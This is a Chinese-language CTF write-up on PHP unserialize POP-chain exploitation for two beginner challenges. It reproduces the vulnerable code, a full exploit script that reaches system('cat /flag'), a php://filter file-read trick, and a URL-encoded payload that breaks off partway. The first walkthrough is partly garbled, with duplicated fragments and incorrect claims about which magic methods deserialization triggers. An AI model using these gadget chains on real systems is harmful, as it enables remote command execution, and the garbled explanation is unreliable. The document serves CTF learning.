1、shctf2023的ez_serialize
是新手题难度不大,题目如下:
<?php
highlight_file(__FILE__);
class A{
public $var_1;
public function __invoke(){
include($this->var_1);
}
}
class B{
public $q;
public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
echo "hacker";
}
}
}
class C{
public $var;
public $z;
public function __toString(){
return $this->z->var;
}
}
class D{
public $p;
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['payload']))
{
unserialize($_GET['payload']);
}
?>
对于这个pop链的执行过程,可以进一步详细解释。首先,让我们逐步追踪反序列化的过程:
-
反序列化开始时,会先对最内层的对象a进行反序列化,即将‘a进行反序列化,即将‘var_1
属性赋值为字符串
"php://filter/read=convert.base64-encode/resource=flag.php"`。 -
然后,对对象d进行反序列化,它的‘d进行反序列化,它的‘p
属性引用了对象$a。在反序列化过程中,会调用对象$d的
__get()`函数,返回对象$a的结果。 -
接下来是对象c的反序列化,其中‘c的反序列化,其中‘z
属性引用了对象$d。同样,在反序列化过程中,会调用对象$c的
__get()函数,再次触发对象$d的
__get()`函数,将对象a返回给对象a返回给对象c。 -
最后,对对象b进行反序列化,它的‘b进行反序列化,它的‘q
属性引用了对象$c。在这一步中,会调用对象$b的
__wakeup()函数。在当前代码中,
__wakeup()函数使用正则表达式匹配
$q`属性以检测恶意输入,如果匹配成功,则输出"hacker"。 -
在示例中,
C
类中的var
属性是一个指向自己的引用。也就是说,$c->var
指向了$c
对象本身。这样的引用关系可以在对象内部形成递归结构,即对象包含对自身的引用。当我们将这个对象进行序列化时,整个对象图(包括引用关系)都会被序列化。这意味着在序列化过程中,会将
$c
对象及其相关引用也进行序列化。在反序列化时,被序列化的对象图会被还原,重建出原始的对象及其引用关系。由于
C
类实现了__toString()
方法,该方法定义了如何以字符串形式表示对象。在示例中,__toString()
方法返回了$z
属性的var
值,即$a->var_1
。因此,在反序列化时,如果尝试将$c
对象作为字符串输出(例如使用echo
语句),就会间接调用C
类的__toString()
方法,从而返回$a->var_1
的值。总结起来,尽管示例中没有直接尝试输出
C
类的对象,但是由于序列化和反序列化过程会还原整个对象图,当尝试以字符串形式输出$c
对象时,会触发间接调用C
类的__toString()
方法,并返回相应的值。
2、Newstar week3 POP Gadget
题目代码如下
<?php
class Begin{
public $name;
public function __destruct()
{
if(preg_match("/[a-zA-Z0-9]/",$this->name)){
echo "Hello";
}else{
echo "Welcome to NewStarCTF 2023!";
}
}
}
class Then{
private $func;
public function __toString()
{
($this->func)();
return "Good Job!";
}
}
class Handle{
protected $obj;
public function __call($func, $vars)
{
$this->obj->end();
}
}
class Super{
protected $obj;
public function __invoke()
{
$this->obj->getStr();
}
public function end()
{
die("==GAME OVER==");
}
}
class CTF{
public $handle;
public function end()
{
unset($this->handle->log);
}
}
class WhiteGod{
public $func;
public $var;
public function __unset($var)
{
($this->func)($this->var);
}
}
@unserialize($_POST['pop']);
($this->func)($this->var) 将 $this->var 作为参数传递给保存在 $this->func 变量中的函数或方法。 这里我们可以给func传'system',var传'ls /'查根目录,起到一个system()的作用然后读flag文件。
pop链如下:
<?php
class Begin{
public $name;
public function __destruct()
{
}
}
class Then{
private $func;
public function __construct()
{
$s=new Super();
$this->func=$s;
}
public function __toString(){
($this->func)();//这里把Super当函数调用,实际触发了Super()里面的__invoke方法
return "Good Job!";
}
}
class Handle{
protected $obj;
public function __construct()
{
$this->obj=new CTF();//实例化CTF()后给这里的obj赋值
}
public function __call($func, $vars)
{
$this->obj->end();//调用了CTF()里的end()方法
}
}
class Super{
protected $obj;
public function __construct()
{
$this->obj=new Handle();//为protected $obj赋值
}
public function __invoke()
{
$this->obj->getStr();//Handle 类没有定义 getStr() 方法,因此在调用这个方法时会触发 handle里的__call() 魔术方法
}
public function end()
{
die("==GAME OVER==");
}
}
class CTF{
public $handle;
public function __construct()
{
$w=new WhiteGod();
$this->handle=$w;
}
public function end()
{
unset($this->handle->log);//在这个end()方法中我们试图用unset()删除WhiteGod()里面的log属性
}
}
class WhiteGod{
public $func='system';
public $var="cat /flag";
public function __unset($var)
{
($this->func)($this->var);
}
}
$b=new Begin();
$b->name=new Then();
echo urlencode(serialize($b));
需要特别注意的是在执行 unset($this->handle->log) 时,会尝试调用 $this->handle 对象的 __unset() 魔术方法。该方法将使用属性 $this->func 的值作为可调用函数,并将属性 $this->var 的值作为参数来执行。
因此,在 WhiteGod 类中调用 unset($this->handle->log) 将实际上执行 ($this->func)($this->var),相当于执行 system('ls /'),即执行系统命令 ls /
整体来说是:
__destruct() 中,由于 $name 包含一个 Then 对象,会触发 __toString() 魔术方法。在 __toString() 方法中,首先调用 $this->func 属性指向的对象(即 Super 对象),接下来进入 Super 类,由于该类含有一个 __invoke() 魔术方法,因此在调用 Super 对象时会触发 __invoke() 方法。在 __invoke() 方法中,又会调用 $this->obj->getStr() 方法,并进入 Handle 类中。
由于 Handle 类没有定义 getStr() 方法,因此在调用这个方法时会触发 __call() 魔术方法。在 __call() 方法中,将会调用 $this->obj->end() 方法,并触发 CTF 类中的 end() 方法。
在 CTF 类的 end() 方法中,我们会调用 unset($this->handle->log),从而触发 WhiteGod 类的 __unset() 魔术方法。在 __unset() 方法中,我们构造了一个命令行字符串,然后通过执行漏洞执行了系统命令。
payload:
pop=O%3A5%3A%22Begin%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A4%3A%22Then%22%3A1%3A%7Bs%3A10%3A%22%00Then%00func%22%3BO%3A5%3A%2